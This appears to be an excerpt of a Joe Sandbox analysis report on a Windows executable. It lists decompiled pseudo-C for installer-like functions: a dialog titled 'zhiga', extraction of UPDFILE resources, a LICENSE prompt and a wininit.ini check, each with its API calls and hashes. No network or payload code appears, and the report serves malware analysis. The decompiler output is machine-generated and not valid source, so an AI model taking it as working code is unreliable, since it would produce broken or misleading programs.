Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 536a70b2de405598872d0e24b7cb2f34f81eb61e5c6414ff78d4c05045e6dd08
Instruction ID: 8015ca6d0ceb09a1f3806454058b913ac613f8e3e027cc076194718f36513687
Opcode Fuzzy Hash: 536a70b2de405598872d0e24b7cb2f34f81eb61e5c6414ff78d4c05045e6dd08
Instruction Fuzzy Hash: 5C115471F00209EFEB109FA5DC49ABFBBB8EB44B41F10016DFA45E7281EA7599048F91

Uniqueness

Uniqueness Score: -1.00%

Function 010C3450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C3450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E010C43D0(_t24, _t12);
					SetWindowTextA(_t24, "zhiga");
					SetDlgItemTextA(_t24, 0x838,  *0x10c9404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x10c91dc = 1;
					goto L8;
				}
				return 0;
			}

0x010c3459
0x010c345c
0x010c34d8
0x010c34de
0x00000000
0x010c34e0
0x010c345e
0x010c3463
0x010c349a
0x010c34a0
0x010c34a7
0x010c34b2
0x010c34c4
0x010c34cb
0x00000000
0x010c34cb
0x010c3468
0x010c346e
0x010c3474
0x00000000
0x00000000
0x010c347c
0x010c348c
0x010c3490
0x00000000
0x010c3496
0x010c3484
0x00000000
0x00000000
0x010c3486
0x00000000
0x010c3486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 010C3490
GetDesktopWindow.USER32 ref: 010C349A
SetWindowTextA.USER32(?,zhiga), ref: 010C34B2
SetDlgItemTextA.USER32(?,00000838), ref: 010C34C4
SetForegroundWindow.USER32(?), ref: 010C34CB
EndDialog.USER32(?,00000002), ref: 010C34D8

Strings

zhiga, xrefs: 010C34AC

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: zhiga
API String ID: 852535152-3705506974
Opcode ID: 205fcb1049f21ba9717040d8438215a074bc8e990e6c549b64a81a301c587017
Instruction ID: 9a3bb731f791ec2e33c3f57fc20ca0f50e04df17924fd6009d3cf5425e251f30
Opcode Fuzzy Hash: 205fcb1049f21ba9717040d8438215a074bc8e990e6c549b64a81a301c587017
Instruction Fuzzy Hash: ED019235360118EFD7265F69D80C96DBA65FB85B50B008018FEC68A584DE36A941CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010C2AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E010C2AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x10c8004; // 0x4b13cf70
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x10c9a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E010C1680(_t65, E010C17C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E010C65E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E010C1680(_t65, E010C17C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E010C6CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x010c2aac
0x010c2ab7
0x010c2abc
0x010c2abe
0x010c2ac3
0x010c2ac6
0x010c2ac9
0x010c2ace
0x010c2ae6
0x010c2bdc
0x010c2bdc
0x010c2be0
0x00000000
0x00000000
0x010c2af2
0x010c2afc
0x010c2b00
0x010c2b05
0x010c2b05
0x010c2b0b
0x010c2bca
0x010c2bd1
0x010c2b11
0x010c2b18
0x010c2b26
0x010c2b99
0x010c2bc8
0x00000000
0x00000000
0x010c2b9b
0x010c2bae
0x010c2bb3
0x010c2bb5
0x010c2bb5
0x010c2bb8
0x010c2bb8
0x010c2bba
0x010c2bbb
0x00000000
0x010c2bb8
0x010c2b28
0x010c2b2e
0x010c2b33
0x010c2b39
0x010c2b3c
0x010c2b3c
0x010c2b3e
0x010c2b3f
0x010c2b55
0x010c2b5d
0x010c2b64
0x010c2b64
0x010c2b7a
0x010c2b7f
0x010c2b81
0x010c2b81
0x010c2b84
0x010c2b84
0x010c2b86
0x010c2b87
0x010c2bbf
0x010c2bc1
0x010c2bc1
0x010c2b26
0x010c2bda
0x010c2bda
0x010c2be6
0x010c2be6
0x010c2bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 010C2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 010C2AF2
CharNextA.USER32(?), ref: 010C2B12
CharUpperA.USER32 ref: 010C2B1E
CharPrevA.USER32(?,?), ref: 010C2B55
CharNextA.USER32(?), ref: 010C2BD4

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 58b561c74bb137219a7bc5deac4f925dffe5e6873d6e3b9811b74bc5c0406088
Instruction ID: 07fa600ebdfaf76df3260182067001853f4d15c321452361df46461ffefe34ff
Opcode Fuzzy Hash: 58b561c74bb137219a7bc5deac4f925dffe5e6873d6e3b9811b74bc5c0406088
Instruction Fuzzy Hash: F3412A346042499FDB669F38C854AFE7FA99F96740F1400DEDCC283646DB3A8A46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010C43D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E010C43D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E010C6CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x010c43d0
0x010c43d8
0x010c43df
0x010c43e6
0x010c43ec
0x010c43f1
0x010c4400
0x010c4403
0x010c440b
0x010c4420
0x010c4429
0x010c4437
0x010c4444
0x010c4447
0x010c444d
0x010c4454
0x010c445b
0x010c4460
0x010c4461
0x010c4467
0x010c446f
0x010c4473
0x010c4473
0x010c4463
0x010c4463
0x010c4463
0x010c447a
0x010c4481
0x010c4484
0x010c448a
0x010c4492
0x010c4496
0x010c4496
0x010c4486
0x010c4486
0x010c4486
0x010c44b8

APIs

GetWindowRect.USER32(?,?), ref: 010C43F1
GetWindowRect.USER32(00000000,?), ref: 010C440B
GetDC.USER32(?), ref: 010C4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 010C442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 010C443A
ReleaseDC.USER32(?,00000000), ref: 010C4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 010C44A2

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 740fd3f967d1c0983a678ba23deb929a250b25ccac46eb81ada3a7d455e4f733
Instruction ID: bb5363fe2ddf68e066c501eca35ce0362edaaf65007b9e319d507c560fb85e2e
Opcode Fuzzy Hash: 740fd3f967d1c0983a678ba23deb929a250b25ccac46eb81ada3a7d455e4f733
Instruction Fuzzy Hash: 0B311C72E00119AFCB14CFB8D9889EEBBB5FB89310F254169F845F3244EA356D058F60

Uniqueness

Uniqueness Score: -1.00%

Function 010C6298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E010C6298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E010C171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x10c9124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x10ca288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E010C171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E010C6CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x010c6298
0x010c62a0
0x010c62a7
0x010c62ad
0x010c62af
0x010c62bb
0x010c62c3
0x010c62c4
0x010c633b
0x010c633b
0x010c6345
0x010c634d
0x00000000
0x00000000
0x010c62da
0x010c62de
0x010c635f
0x010c6369
0x010c62e0
0x010c62e0
0x010c62e0
0x010c62e3
0x010c62e5
0x010c62e5
0x010c62e8
0x010c62e8
0x010c62ea
0x010c62eb
0x010c62ef
0x010c62f1
0x010c62f3
0x010c6302
0x010c6308
0x010c630d
0x010c6314
0x010c6314
0x010c6316
0x010c6319
0x010c6355
0x010c6357
0x010c631b
0x010c631b
0x010c6331
0x010c6334
0x010c6339
0x00000000
0x010c6339
0x010c6319
0x010c636b
0x010c637d
0x010c637d
0x00000000

APIs

Part of subcall function 010C171E: _vsnprintf.MSVCRT ref: 010C1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,010C51CA,00000004,00000024,010C2F71,?,00000002,00000000), ref: 010C62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,010C51CA,00000004,00000024,010C2F71,?,00000002,00000000), ref: 010C62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,010C51CA,00000004,00000024,010C2F71,?,00000002,00000000), ref: 010C631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 010C6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,010C51CA,00000004,00000024,010C2F71,?,00000002,00000000), ref: 010C6357

Strings

UPDFILE%lu, xrefs: 010C62B3, 010C6329

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 4093f76cc5c386d89aa2f5a6100dd76341c30a4e82cf5f1567eb7ac5e8b2690d
Instruction ID: e57cce3576bb40d0073e019d2545f8fe6f25ea2aea9a0e88d7b08c6f4d94dcc1
Opcode Fuzzy Hash: 4093f76cc5c386d89aa2f5a6100dd76341c30a4e82cf5f1567eb7ac5e8b2690d
Instruction Fuzzy Hash: B921B675A00219EFDB209FA5DC459FE7B78FB44B54B10415DFA82A3241D73B99028FE0

Uniqueness

Uniqueness Score: -1.00%

Function 010C681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010C681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t19 ^ _t44;
				_t41 =  *0x10c81d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x10c81d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x10c81d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x10c1140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E010C66F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x10c81d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E010C6CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x010c681f
0x010c682a
0x010c6831
0x010c6836
0x010c683c
0x010c683e
0x010c6848
0x010c6851
0x010c685d
0x010c6864
0x010c6876
0x010c693a
0x010c693a
0x010c687c
0x010c687e
0x010c6885
0x00000000
0x010c68d6
0x010c68f4
0x010c6900
0x010c6902
0x010c690a
0x00000000
0x010c690c
0x010c690c
0x010c691c
0x00000000
0x010c691e
0x010c6924
0x010c692b
0x010c6932
0x00000000
0x00000000
0x00000000
0x010c692b
0x010c691c
0x010c690a
0x010c6885
0x010c6876
0x010c6951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 010C686E
GetSystemMetrics.USER32(0000004A), ref: 010C68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 010C68CC
RegQueryValueExA.ADVAPI32(?,010C1140,00000000,?,?,0000000C), ref: 010C68F4
RegCloseKey.ADVAPI32(?), ref: 010C6902

Part of subcall function 010C66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,010C691A), ref: 010C6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 010C68C2

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: bd4217b0402cdd8e70bf046901f19e82a1f5b6bcb2edac0beeb8aeb34d1982cb
Instruction ID: 1426a188557a9ed8a7ac9c095328a539ac3c043fc2c98e2f44b709d39e859759
Opcode Fuzzy Hash: bd4217b0402cdd8e70bf046901f19e82a1f5b6bcb2edac0beeb8aeb34d1982cb
Instruction Fuzzy Hash: 89318231A00228DFDB318B15CC44BEEB7BCEB45B54F0041EAE989A6341D73699858F51

Uniqueness

Uniqueness Score: -1.00%

Function 010C3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C3A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E010C468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x10c8d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E010C468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x10c8d4c, "<None>") == 0) {
							LocalFree( *0x10c8d4c);
							L9:
							 *0x10c9124 = 0;
							return 1;
						}
						_t9 = E010C6517(_t19, 0x7d1, 0, E010C3100, 0, 0);
						LocalFree( *0x10c8d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x10c9124 = 0x800704c7;
						L2:
						return 0;
					}
					E010C44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x10c8d4c);
					 *0x10c9124 = 0x80070714;
					goto L2;
				}
				E010C44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x10c9124 = E010C6285();
				goto L2;
			}

0x010c3a46
0x010c3a57
0x010c3a5d
0x010c3a63
0x010c3a6a
0x010c3a91
0x010c3a9a
0x010c3ad8
0x010c3b13
0x010c3b19
0x010c3b1b
0x00000000
0x010c3b21
0x010c3ae7
0x010c3af4
0x010c3afc
0x00000000
0x00000000
0x010c3afe
0x010c3a87
0x00000000
0x010c3a87
0x010c3aa8
0x010c3ab3
0x010c3ab9
0x00000000
0x010c3ab9
0x010c3a78
0x010c3a82
0x00000000

APIs

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,010C2F64,?,00000002,00000000), ref: 010C3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 010C3AB3

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Part of subcall function 010C6285: GetLastError.KERNEL32(010C5BBC), ref: 010C6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 010C3AD0
LocalFree.KERNEL32 ref: 010C3B13

Part of subcall function 010C6517: FindResourceA.KERNEL32(010C0000,000007D6,00000005), ref: 010C652A
Part of subcall function 010C6517: LoadResource.KERNEL32(010C0000,00000000,?,?,010C2EE8,00000000,010C19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 010C6538
Part of subcall function 010C6517: DialogBoxIndirectParamA.USER32(010C0000,00000000,00000547,010C19E0,00000000), ref: 010C6557
Part of subcall function 010C6517: FreeResource.KERNEL32(00000000,?,?,010C2EE8,00000000,010C19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 010C6560

LocalFree.KERNEL32(00000000,010C3100,00000000,00000000), ref: 010C3AF4

Strings

<None>, xrefs: 010C3AC5
LICENSE, xrefs: 010C3A46

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 004ca60bf6b04d7a55db27443f0cc3cdecbe0b218bade3c7cceddef2f5f7ae71
Instruction ID: 6c64cde41e506e66da79611038c06601881978dc23e3a1dc190460975148b203
Opcode Fuzzy Hash: 004ca60bf6b04d7a55db27443f0cc3cdecbe0b218bade3c7cceddef2f5f7ae71
Instruction Fuzzy Hash: 3D11A571700201AFD7346B26AC09E5F7AA9FBD5F40B10802EB9C1DA184DA7F88108F64

Uniqueness

Uniqueness Score: -1.00%

Function 010C24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E010C24E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E010C658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E010C6CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x010c24e0
0x010c24eb
0x010c24f2
0x010c24f7
0x010c2504
0x010c250e
0x010c251d
0x010c252c
0x010c2541
0x010c2546
0x010c2553
0x010c2555
0x010c2555
0x010c2546
0x010c256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 010C2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 010C252C
_lopen.KERNEL32(?,00000040), ref: 010C253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 010C254C
_lclose.KERNEL32(00000000), ref: 010C2555

Strings

wininit.ini, xrefs: 010C2510

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: a6f7dd1c555538400af253b0db41396ff6613888a1520230ccc2f9a1ead0a835
Instruction ID: dd104f049b36e37ecf9be7871733e683553f692811dc605e673ec512e80e16e9
